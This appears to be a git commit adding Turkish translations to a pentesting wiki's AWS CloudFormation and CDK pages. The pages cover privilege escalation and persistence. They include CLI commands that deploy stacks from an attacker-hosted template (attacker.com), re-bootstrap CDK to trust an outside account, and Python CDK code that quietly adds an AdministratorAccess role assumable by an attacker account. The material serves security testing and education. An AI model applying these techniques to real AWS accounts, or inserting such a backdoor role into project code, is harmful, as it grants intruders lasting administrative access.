Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:33:47 +00:00
parent 9345ae9461
commit 767ae85617
4 changed files with 88 additions and 13 deletions
+1
View File
@@ -211,6 +211,7 @@
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
Daha fazla bilgi için erişin:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
AWS CDK, `CDKToolkit` adında bir CFN yığını dağıtır. Bu yığın, kurban hesabına CDK projeleri dağıtmak için dış hesapların kullanılmasına izin veren `TrustedAccounts` adlı bir parametreyi destekler. Bir saldırgan, bu durumu kullanarak kendisine kurban hesabına süresiz erişim sağlayabilir; ya AWS cli kullanarak yığını parametrelerle yeniden dağıtarak ya da AWS CDK cli kullanarak.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Cloudformation hakkında daha fazla bilgi için kontrol edin:
### `iam:PassRole`, `cloudformation:CreateStack`
Bu izinlere sahip bir saldırgan, **belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için** kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak **yetkileri artırabilir:**
Bu izinlere sahip bir saldırgan **yetkileri artırabilir** ve kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak **belirtilen bir rolün izinleri altında eylemler gerçekleştirebilir:**
```bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
Bu durumda, **mevcut bir cloudformation yığınını** kötüye kullanarak güncelleyebilir ve önceki senaryodaki gibi ayrıcalıkları artırabilirsiniz:
Bu durumda, **mevcut bir cloudformation yığınını** istismar ederek güncelleyebilir ve önceki senaryodaki gibi ayrıcalıkları artırabilirsiniz:
```bash
aws cloudformation update-stack \
--stack-name privesc \
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
Bu izne sahipseniz ancak **`iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Kötüye kullanım örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin).
Bu izne sahipseniz ancak **`iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Sömürü örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin).
`cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `UpdateStack` izni vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.
@@ -51,9 +51,9 @@ Bu izne sahipseniz ancak **`iam:PassRole` yoksa**, yine de **kullanılan yığı
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyerek cloudformation hizmet rollerini kötüye kullanabilir**; tıpkı CreateStack veya UpdateStack ile olduğu gibi.
Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyerek cloudformation hizmet rollerini** CreateStack veya UpdateStack ile olduğu gibi kötüye kullanabilir.
Aşağıdaki kötüye kullanım, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack birine**](./#iam-passrole-cloudformation-createstack).
Aşağıdaki sömürü, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack birine**](#iam-passrole-cloudformation-createstack).
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -85,26 +85,71 @@ aws cloudformation describe-stacks \
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
Bu, **IAM rollerini** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları** kötüye kullanabilirsiniz, sadece parametreyi değiştirin:
Bu, **IAM rollerini** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları kötüye kullanabilirsiniz**, sadece parametreyi değiştirin:
```
--change-set-type UPDATE
```
**Olası Etki:** Zaten eklenmiş olan cloudformation hizmet rolüne privesc.
**Potansiyel Etki:** Zaten ekli olan cloudformation hizmet rolüne privesc.
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
Bir saldırgan, bu izinleri kötüye kullanarak rastgele cloudformation rollerini kötüye kullanmak için StackSet'ler oluşturup/güncelleyebilir.
Bir saldırgan, bu izinleri kötüye kullanarak StackSet'ler oluşturup/güncelleyerek rastgele cloudformation rollerini kötüye kullanabilir.
**Olası Etki:** Cloudformation hizmet rollerine privesc.
**Potansiyel Etki:** Cloudformation hizmet rollerine privesc.
### `cloudformation:UpdateStackSet`
Bir saldırgan, ekli cloudformation rollerini kötüye kullanmak için passRole izni olmadan StackSet'leri güncellemek için bu izni kötüye kullanabilir.
**Olası Etki:** Ekli cloudformation rollerine privesc.
**Potansiyel Etki:** Ekli cloudformation rollerine privesc.
## AWS CDK
AWS cdk, kullanıcıların zaten aşina oldukları dillerde altyapılarını kod olarak tanımlamalarını sağlayan bir araçtır ve bölümleri kolayca yeniden kullanmalarına olanak tanır. CDK, yüksek seviyeli kodu (yani python) Cloudformation şablonlarına (yaml veya json) dönüştürür.
CDK'yı kullanmak için, bir yönetici kullanıcının önce hesabı başlatması gerekir; bu, \*/\* izinlerine sahip *exec rolü* dahil olmak üzere birkaç IAM rolü oluşturur. Bu roller, `cdk-<qualifier>-<name>-<account-id>-<region>` adlandırma yapısını takip eder. Başlatma, her bölge için her hesapta bir kez yapılmalıdır.
Varsayılan olarak, CDK kullanıcıları CDK'yı kullanmak için gereken rolleri listeleme erişimine sahip değildir, bu da bunları manuel olarak belirlemeniz gerektiği anlamına gelir. Bir geliştiricinin makinesini veya bazı CI/CD düğümlerini ele geçirirseniz, bu roller, CFN şablonlarını dağıtma yeteneği sağlamak için üstlenilebilir; `cfn-exec` rolünü kullanarak CFN'nin herhangi bir kaynağı dağıtmasına izin vererek hesabı tamamen tehlikeye atabilirsiniz.
### Rol adlarını belirleme
Eğer `cloudformation:DescribeStacks` iznine sahipseniz, roller `CDKToolkit` adlı bir yığında tanımlıdır ve isimleri oradan alabilirsiniz.
Eğer CDK projelerini oluşturmak ve dağıtmak için kullanılmış bir makinedeyseniz, bunları projelerin kök dizinindeki `cdk.out/manafest.json` dosyasından alabilirsiniz.
Ayrıca, bunların ne olduğunu iyi bir tahminle belirleyebilirsiniz. `qualifier`, birden fazla CDK başlatma örneğinin aynı anda dağıtılmasına izin veren rollere eklenen bir dizedir; ancak varsayılan değer `hnb659fds` olarak sabitlenmiştir.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Proje kaynağına kötü niyetli kod ekleme
Eğer proje kaynağına yazabiliyorsanız, ancak kendiniz dağıtamıyorsanız (örneğin, geliştirici kodu CI/CD aracılığıyla dağıtıyorsa, yerel makine üzerinden değil), yine de yığın içine kötü niyetli kaynaklar ekleyerek ortamı tehlikeye atabilirsiniz. Aşağıdaki, bir saldırgan hesabı tarafından üstlenilebilecek bir IAM rolünü bir python CDK projesine ekler.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Referanslar
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## CloudFormation
AWS CloudFormation, **AWS kaynaklarının yönetimini kolaylaştırmak** için tasarlanmış bir hizmettir. Kullanıcıların, **kaynak yönetimine harcanan zamanı en aza indirerek** AWS'de çalışan uygulamalarına daha fazla odaklanmalarını sağlar. Bu hizmetin temel özelliği, istenen AWS kaynaklarının **şablonu**—açıklayıcı bir modeldir. Bu şablon sağlandığında, CloudFormation belirtilen kaynakların **sağlanması ve yapılandırılmasından** sorumludur. Bu otomasyon, AWS altyapısının daha verimli ve hatasız bir şekilde yönetilmesini kolaylaştırır.
AWS CloudFormation, **AWS kaynaklarının yönetimini kolaylaştırmak** için tasarlanmış bir hizmettir. Kullanıcıların, **kaynak yönetimine harcanan zamanı en aza indirerek** AWS'de çalışan uygulamalarına daha fazla odaklanmalarını sağlar. Bu hizmetin temel özelliği, istenen AWS kaynaklarının **şablonu**—açıklayıcı bir modelidir. Bu şablon sağlandığında, CloudFormation belirtilen kaynakların **sağlanması ve yapılandırılmasından** sorumludur. Bu otomasyon, AWS altyapısının daha verimli ve hatasız bir şekilde yönetilmesini kolaylaştırır.
### Enumeration
```bash
@@ -37,13 +37,19 @@ Aşağıdaki sayfada **cloudformation izinlerini kötüye kullanarak ayrıcalık
../aws-privilege-escalation/aws-cloudformation-privesc/
{{#endref}}
### Persistence
{{#ref}}
../aws-persistence/aws-cloudformation-persistence.md
{{#endref}}
### Post-Exploitation
Her CloudFormation'ın **şablon, parametreler ve çıktı** kısmında **gizli bilgiler** veya hassas bilgiler için kontrol edin.
Her CloudFormation'ın **şablon, parametreler ve çıktı** kısmında **gizli bilgiler** veya hassas bilgiler arayın.
## Codestar
AWS CodeStar, AWS üzerinde yazılım geliştirme projeleri oluşturmak, yönetmek ve çalışmak için bir hizmettir. AWS CodeStar projesi ile AWS üzerinde uygulamaları hızlı bir şekilde geliştirebilir, oluşturabilir ve dağıtabilirsiniz. Bir AWS CodeStar projesi, proje geliştirme araç zinciriniz için **AWS hizmetlerini** oluşturur ve entegre eder. Seçtiğiniz AWS CodeStar proje şablonuna bağlı olarak, bu araç zinciri kaynak kontrolü, derleme, dağıtım, sanal sunucular veya sunucusuz kaynaklar ve daha fazlasını içerebilir. AWS CodeStar ayrıca **proje kullanıcıları için gereken izinleri yönetir** (takım üyeleri olarak adlandırılır).
AWS CodeStar, AWS üzerinde yazılım geliştirme projeleri oluşturmak, yönetmek ve çalışmak için bir hizmettir. AWS CodeStar projesi ile AWS üzerinde uygulamaları hızlı bir şekilde geliştirebilir, oluşturabilir ve dağıtabilirsiniz. Bir AWS CodeStar projesi, proje geliştirme araç zinciriniz için **AWS hizmetlerini** oluşturur ve entegre eder. Seçtiğiniz AWS CodeStar proje şablonuna bağlı olarak, bu araç zinciri kaynak kontrolü, derleme, dağıtım, sanal sunucular veya sunucusuz kaynaklar ve daha fazlasını içerebilir. AWS CodeStar ayrıca proje kullanıcıları için gereken **izinleri yönetir** (takım üyeleri olarak adlandırılır).
### Enumeration
```bash